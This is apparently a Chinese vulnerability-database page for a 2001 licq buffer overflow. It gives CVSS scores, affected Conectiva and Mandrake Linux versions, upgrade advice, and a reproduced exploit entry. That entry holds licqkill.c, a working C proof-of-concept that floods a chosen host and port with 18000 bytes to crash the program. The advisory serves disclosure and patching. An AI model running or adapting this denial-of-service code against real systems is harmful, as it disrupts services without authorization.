发布时间 :2001-07-02 00:00:00
修订时间 :2008-09-05 16:24:07

[原文]Buffer overflow in logging functions of licq before 1.0.3 allows remote attackers to cause a denial of service, and possibly execute arbitrary commands.


        licq 1.0.3之前版本的对数函数存在缓冲区溢出漏洞。远程攻击者利用该漏洞导致服务拒绝和可能执行任意命令。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:conectiva:linux:4.0Conectiva Conectiva Linux 4.0
cpe:/o:conectiva:linux:5.1Conectiva Conectiva Linux 5.1
cpe:/o:conectiva:linux:5.0Conectiva Conectiva Linux 5.0
cpe:/o:conectiva:linux:ecommerceConectiva Conectiva Linux ecommerce
cpe:/o:conectiva:linux:4.2Conectiva Conectiva Linux 4.2
cpe:/o:mandrakesoft:mandrake_linux:7.2MandrakeSoft Mandrake Linux 7.2
cpe:/o:mandrakesoft:mandrake_linux:7.1MandrakeSoft Mandrake Linux 7.1
cpe:/o:conectiva:linux:6.0Conectiva Conectiva Linux 6.0
cpe:/o:conectiva:linux:4.0esConectiva Conectiva Linux 4.0es
cpe:/o:conectiva:linux:prg_graficosConectiva Conectiva Linux prg graficos
cpe:/o:conectiva:linux:4.1Conectiva Conectiva Linux 4.1

- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  XF  licq-logging-bo(6645)

- 漏洞信息

高危 缓冲区溢出
2001-07-02 00:00:00 2005-05-02 00:00:00
        licq 1.0.3之前版本的对数函数存在缓冲区溢出漏洞。远程攻击者利用该漏洞导致服务拒绝和可能执行任意命令。

- 公告与补丁


- 漏洞信息 (20646)

LICQ 0.85/1.0.1/1.0.2 Remote Buffer Overflow Vulnerability (EDBID:20646)
unix remote
2000-12-26 Verified
0 Stan Bubrouski
N/A [点击下载]

At least one version of LICQ is vulnerable to a remote buffer overflow. By sending many characters (12000-16000) to the port on which LICQ is listening, an attacker can cause excessive data to be copied onto the stack and overwrite critical parts of the stack frame such as the calling functions' return address. Since this data is supplied by the user it can alter the program's flow of execution.

 * Name: Licqkill.c
 * Author: Stan Bubrouski <>
 * Date: December 26, 2000
 * Description: Licq will crash when 16707 or more characters are sent to the port
 *              Licq is listening on.  Finding the port Licq is running on is pretty
 *              simple because by default it starts using ports around 1100 or so.  This
 *              has been tested against Licq v.85 and v1.0.2
 * Purpose: Proof-of-concept tool for the Licq Denial of Service vulnerability.

#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

int main(int argc, char **argv)
	char buf[18000];
	int i, sock, result;
	struct sockaddr_in sin;
	struct hostent *hn;

	printf("licqkill.c - Licq remote DoS by Stan Bubrouski <>\n\n");

	if (argc < 3) 
		fprintf(stderr, "Usage: %s <host> <port>\n", argv[0]);

	hn = gethostbyname(argv[1]);

	if (!hn)
		fprintf(stderr, "%s: host lookup failure\n", argv[1]);

	sin.sin_family = AF_INET;
	sin.sin_port = htons(atoi(argv[2]));
	sin.sin_addr = *(struct in_addr *)hn->h_addr;
	sock = socket(AF_INET, SOCK_STREAM, 0);
	result = connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr_in));

	if (result != 0) 
		fprintf(stderr, "Failed to establish connection to %s\n", argv[1]);
	if (sock < 0)
		fprintf(stderr, "Socket error.");

	for (i=0; i<18000; i++)
		strncat(buf, "A", 1);
	send(sock, buf, sizeof(buf), 0);
	fprintf(stdout, "Data sent\n\n");


- 漏洞信息

licq Logging Functions Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

A remote overflow exists in licq. The logging function fails to validate input resulting in a buffer overflow. With a specially crafted request, an attacker can cause arbitrary code execution resulting in a loss of confidentiality, integrity, and/or availability.

- 时间线

2001-02-21 2001-02-20
Unknow Unknow

- 解决方案

Upgrade to version 1.0.3 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者